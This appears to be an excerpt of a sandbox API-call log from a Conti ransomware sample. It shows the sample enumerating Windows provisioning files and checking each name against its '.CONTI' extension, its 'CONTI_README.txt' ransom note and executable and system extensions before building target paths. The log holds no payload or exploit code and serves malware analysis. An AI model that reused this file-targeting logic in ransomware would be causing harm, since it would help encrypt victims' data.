	[0109.583] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml"
	[0109.583] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912866d8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912866d8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912866d8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", cAlternateFileName="519__C~1.PRO")) returned 1
	[0109.583] lstrcmpiW (lpString1="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.583] lstrcmpiW (lpString1="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.583] StrStrIW (lpFirst="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.583] StrStrIW (lpFirst="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.583] StrStrIW (lpFirst="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.583] StrStrIW (lpFirst="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.583] StrStrIW (lpFirst="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.583] StrStrIW (lpFirst="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.583] StrStrIW (lpFirst="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.583] StrStrIW (lpFirst="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.584] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.584] lstrlenW (lpString="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.584] GetProcessHeap () returned 0x1720000
	[0109.584] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x18094c8
	[0109.584] lstrcpyW (in: lpString1=0x18094c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.584] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.584] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml"
	[0109.584] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902943e8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902943e8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902943e8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="51__CO~1.PRO")) returned 1
	[0109.584] lstrcmpiW (lpString1="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.584] lstrcmpiW (lpString1="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.584] StrStrIW (lpFirst="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.584] StrStrIW (lpFirst="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.584] StrStrIW (lpFirst="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.584] StrStrIW (lpFirst="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.584] StrStrIW (lpFirst="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.584] StrStrIW (lpFirst="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.584] StrStrIW (lpFirst="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.584] StrStrIW (lpFirst="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.584] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.584] lstrlenW (lpString="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned 87
	[0109.584] GetProcessHeap () returned 0x1720000
	[0109.584] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x164) returned 0x1816460
	[0109.584] lstrcpyW (in: lpString1=0x1816460, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.584] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.584] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml"
	[0109.584] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", cAlternateFileName="520__C~1.PRO")) returned 1
	[0109.584] lstrcmpiW (lpString1="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.584] lstrcmpiW (lpString1="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.584] StrStrIW (lpFirst="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.584] StrStrIW (lpFirst="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.584] StrStrIW (lpFirst="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.584] StrStrIW (lpFirst="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.585] StrStrIW (lpFirst="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.585] StrStrIW (lpFirst="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.585] StrStrIW (lpFirst="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.585] StrStrIW (lpFirst="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.585] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.585] lstrlenW (lpString="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.585] GetProcessHeap () returned 0x1720000
	[0109.585] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x180c290
	[0109.585] lstrcpyW (in: lpString1=0x180c290, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.585] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.585] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml"
	[0109.585] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", cAlternateFileName="521__C~1.PRO")) returned 1
	[0109.585] lstrcmpiW (lpString1="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.585] lstrcmpiW (lpString1="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.585] StrStrIW (lpFirst="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.585] StrStrIW (lpFirst="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.585] StrStrIW (lpFirst="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.585] StrStrIW (lpFirst="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.585] StrStrIW (lpFirst="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.585] StrStrIW (lpFirst="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.585] StrStrIW (lpFirst="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.585] StrStrIW (lpFirst="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.585] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.585] lstrlenW (lpString="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.585] GetProcessHeap () returned 0x1720000
	[0109.585] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x180b270
	[0109.585] lstrcpyW (in: lpString1=0x180b270, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.585] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.585] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml"
	[0109.585] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="522__C~1.PRO")) returned 1
	[0109.585] lstrcmpiW (lpString1="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0109.585] lstrcmpiW (lpString1="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0109.586] StrStrIW (lpFirst="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.586] StrStrIW (lpFirst="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.586] StrStrIW (lpFirst="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".exe") returned 0x0
	[0109.586] StrStrIW (lpFirst="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".dll") returned 0x0
	[0109.586] StrStrIW (lpFirst="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".lnk") returned 0x0
	[0109.586] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.586] lstrlenW (lpString="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0109.586] GetProcessHeap () returned 0x1720000
	[0109.586] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x18098a0
	[0109.586] lstrcpyW (in: lpString1=0x18098a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.586] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="523__C~1.PRO")) returned 1
	[0109.586] lstrcmpiW (lpString1="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.586] lstrcmpiW (lpString1="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.586] StrStrIW (lpFirst="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.586] StrStrIW (lpFirst="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.586] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.586] lstrlenW (lpString="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.586] GetProcessHeap () returned 0x1720000
	[0109.586] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x1819480
	[0109.586] lstrcpyW (in: lpString1=0x1819480, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.586] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", cAlternateFileName="524__C~1.PRO")) returned 1
	[0109.586] lstrcmpiW (lpString1="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.586] lstrcmpiW (lpString1="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.586] StrStrIW (lpFirst="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.587] StrStrIW (lpFirst="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.587] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.587] lstrlenW (lpString="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.587] GetProcessHeap () returned 0x1720000
	[0109.587] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x1808e60
	[0109.587] lstrcpyW (in: lpString1=0x1808e60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.587] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.587] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml"
